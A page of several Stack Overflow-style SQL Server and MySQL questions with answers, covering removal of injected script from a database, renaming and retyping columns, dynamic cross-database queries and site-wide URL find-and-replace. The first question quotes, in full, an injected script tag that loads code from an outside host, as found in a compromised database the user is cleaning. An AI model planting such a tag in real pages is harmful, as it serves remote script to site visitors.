replace sql injection script - sql

I have this sql query to try and remove some sql injection script from my database. When i execute this it runs fine and tells me that all rows have been affected, but I don't see any changes. I have checked the table names and the column names, I have changed the varchar value to the value the columns are set to but still nothing.
I have copied the injected script directly from the database
UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')
Could someone please explain why the script runs fine but no updates are done on the database.

The REPLACE function is probably not finding the string you're searching for.
Try doing a select to see if you get any rows:
select
column_name
from
table_name
where
CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'
(I obfuscated to the URL incase its malicious).

Related

SQL SERVER: I would like to transfer my data to another column of the same table before droping the first one

I am having problems with some of my SQL scripts on SQL SERVER, indeed I am trying to transfer data from a column A to a column B of the same table and then drop the column B,
However my problem is that I have to check for the existence of A beforehand because the code is meant to be executed on a server where I don't have access (I work as a third party developper on a professionnal app)
Here is my code:
-- Export the data from the column name
-- Drop the column name
USE p_mynacellelocation_db_ChecklistWPF
GO
IF COL_LENGTH('model_trolley_part','name') IS NOT NULL
BEGIN
UPDATE model_trolley_part
SET name_en=[name];
ALTER TABLE model_trolley_part
DROP COLUMN [name];
END
In the case of the column name being non existent I would like not to do anything
However on execution of the code in a database where the column name is non existent SQL Server returns me:
Msg 207, Level 16, State 1, Line 12 Invalid column name 'name'.
Instead of jumping through all these hoops simply rename your original column.
https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-rename-transact-sql?view=sql-server-2017
exec sp_rename 'model_trolley_part.name', 'name_en', 'COLUMN'
You need to use dynamic SQL for this. The reason is that the parser will try to validate your code, even the code that won't be executed because its IF condition wouldn't be met.
The parser is smart enough to see there is no table named name, but it's not smart enough to realize that the code shouldn't get executed because of the IF, so it raises a parsing error.
Using dynamic SQL in the BEGIN..END block after the IF hides this from the parser so it will execute.
Try this:
IF EXISTS(SELECT *
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'myTableName'
AND COLUMN_NAME = 'ColumnA')
BEGIN
// your update and drop code goes here
END
you might want to check your account privileges if you are modifying table structure etc..

How to get the "CREATE TABLE" query?

When I right-click on my view and click on "Script View As", I get the following error:
Property TextHeader is not available for View '[dbo].[TableName]'. This
property may not exist for this object, or may not be retrievable due
to insufficient access rights. The text is encrypted.
(Microsoft.SqlServer.Smo)
I was able to use bcp to get a dump of the table and also create a format file as given here. The table has about 60 columns and I do not want to manually write the CREATE TABLE query. Is there a way to do this automatically?
I was hoping that
BULK INSERT DB.dbo.TableName
FROM 'E:\Databases\TableName'
WITH (FORMATFILE = 'E:\Databases\TableName.Fmt');
GO
would do the trick but it looks like the table itself should be present in the database before I can execute the above query. Any suggestions?
You can construct the create table statement from INFORMATION_SCHEMA.Columns. Something like:
select (column_name + ' ' + data_type +
(case when character_maximum_length is not null
then '('+character_maximum_length+')'
else ''
end) + ','
) as ColumnDef
from Information_Schema.columns
order by ordinal_position
This is probably good enough. You can make it more complicated if you have to deal with numerics, for instance, or want "is null" to be accurate.
Copy the results into a new window, add the create table statement, remove the final comma and add the final closing paren.
You can do all the last step in a more complex SQL statement, but it is easier to do manually for a one-time effort.

Converting data types from one database table to another

I did a bulk insert on a large text file that was an update for an existing database that I had. I ran into all kinds of trouble with truncation errors so I just set everything to varchar(max). Now that everything is in SQL Server I'd like to convert the data types from database b, to those of database a. If both databases had the same table and field names, what are some methods of getting this done? Or would it be best to have a pre-existing script you run after import that's 'hardcoded'
Try something like this and modify the result and execute it
declare #sql varchar(max)
set #sql=''
select
#sql=#sql+'Alter table '+table_name+' alter column '+column_name+' '+cast(data_type as varchar(100))+
case when data_type like '%char%' then '(' else '' end +cast(coalesce(CHARACTER_MAXIMUM_LENGTH,'' ) as varchar(100))+
case when data_type like '%char%' then ')' else '' end+';'
from
information_schema.columns
where
table_name='test'
print #sql
You could create a view of the table your looking to pull from and just cast() the columns you need to change to the data types you need to change them to. Then you can just do all of your inserts off of that View in the appropriate data type. Hope that helps.
If you are moving data from one sql server database to another you could use Atlantis Interactive Data Inspector. If you don't want to do that, you can script out the table in database a then paste ALTER TABLE [table] ALTER COLUMN before every column and run in on database b.

use output of SQL statement as the table to run a query on

I believe what I am attempting to achieve may only be done through the use of Dynamic SQL. However, I have tried a couple of things without success.
I have a table in database DB1 (lets say DB1.dbo.table1, in a MS SQL server) that contains the names of other databases in the server (DB2,DB3, etc). Now, all the dbs listed in that table contain a particular table (lets call it desiredTable) which I want to query. So what I'm looking for is a way of creating a stored procedure/script/whatever that queries DB1.dbotable1 for the other DBs and then run a statement on each of the dbs retrieved, something like:
#DBNAME = select dbName from DB1.dbo.table1
select value1 from #DBNAME.dbo.desiredTable
Is that possible? I'm planning on running the sp/script in various systems DB1.dbo.table1 being a constant.
You need to build a query dinamically and then execute it. Something like this:
DECLARE #MyDynamicQuery VARCHAR(MAX)
DECLARE #MyDynamicDBName VARCHAR(20)
SELECT #MyDynamicDBName = dbName
FROM DB1.dbo.table1
SET #MyDynamicQuery = 'SELECT value1 FROM ' + #MyDynamicDBName + '.dbo.desiredTable'
EXEC(#MyDynamicQuery)
You can use the undocumented stored procedure, sp_MSForEachDB. The usual warnings about using an undocumented stored procedure apply though. Here's an example of how you might use it in your case:
EXEC sp_MSForEachDB 'SELECT value1 FROM ?.dbo.desiredTable'
Notice the use of ? in place of the DB name.
I'm not sure how you would limit it to only DBs in your own table. If I come up with something, then I'll post it here.

sql find and replace

So i'm a pretty good systems admin and can manage mysql servers with no issue. My problem is in actually coding sql, and more specifically coding sql I feel safe to automate in nightly scripts. Thats where you awesome stack overflow guys come in.
I currently have my production wordpress site sync to my dev server so we have as close to live for testing on before a push to production. Right after I update the mysql to be a copy of production I need to find and replace about 2,000 strings.
All I need to do is find a way to execute SQL to find and replace http://DrunkOnJudgement.com to http://dev.DrunkOnJudgement.com any place in any table.
Help me Obi wan Kenobis your my only hope.
You want to do something like this
update table_name
set column_name = replace(column_name, 'http://dev.DrunkOnJudgement.com', 'http://DrunkOnJudgement.com');
this will ensure that you simply replace the text you are looking for in a specific column with the text you want it to be without changing any text around it.
so for example you could just shorten it to something like: replace(column_name, 'dev.DrunkOnJudgment.com', 'DrunkOnJudgment.com')
You can also specify a where clause so that you only replace items that contain that text so something like this:
where column_name like '%dev.DrunkOnJudgement.com%'
Ok to do something like this for all columns in all tables, basically search the entire db. You can use a statement like this:
SELECT Concat('UPDATE ', TABLE_NAME, ' SET ', COLUMN_NAME, ' = REPLACE(', COLUMN_NAME, ',''dev.DrunkOnJudgment.com'',''DrunkOnJudgment.com'')', ' WHERE ', COLUMN_NAME, ' like ''%dev.DrunkOnJudgment.com%''' ) FROM INFORMATION_SCHEMA.COLUMNS
it will output a sql statement like the one above for each column and table in the database and because you are using a replace statement if it does not find the text it does not replace anything it also ensure you only update records that actually contain that text.
So to automate this you would use a cursor, I have not tested the following code but it would look something like this:
DECLARE done BOOLEAN DEFAULT 0;
DECLARE sql VARCHAR(2000);
DECLARE cmds CURSOR
FOR
SELECT Concat('UPDATE ', TABLE_NAME, ' SET ', COLUMN_NAME, ' = REPLACE(', COLUMN_NAME, ',''dev.DrunkOnJudgment.com'',''DrunkOnJudgment.com'')', ' WHERE ', COLUMN_NAME, ' like ''%dev.DrunkOnJudgment.com%''' ) FROM INFORMATION_SCHEMA.COLUMN;
DECLARE CONTINUE HANDLER FOR SQLSTATE '02000' SET done=1;
OPEN cmds;
REPEAT
FETCH cmds INTO sql;
PREPARE stmt FROM sql;
EXECUTE stmt;
DROP PREPARE stmt;
UNTIL done END REPEAT;
CLOSE cmds;
Is this as simple as an update statement with a where clause?
update myTable
set myCol = 'http://dev.DrunkOnJudgement.com'
where myCol = 'http://DrunkOnJudgement.com'
At this point in your product's life cycle I guess it is too late to suggest working out a solution that takes away this issue entirely?
For example, not using absolute URLs, or replacing the urls with some variable that is evaluated at runtime?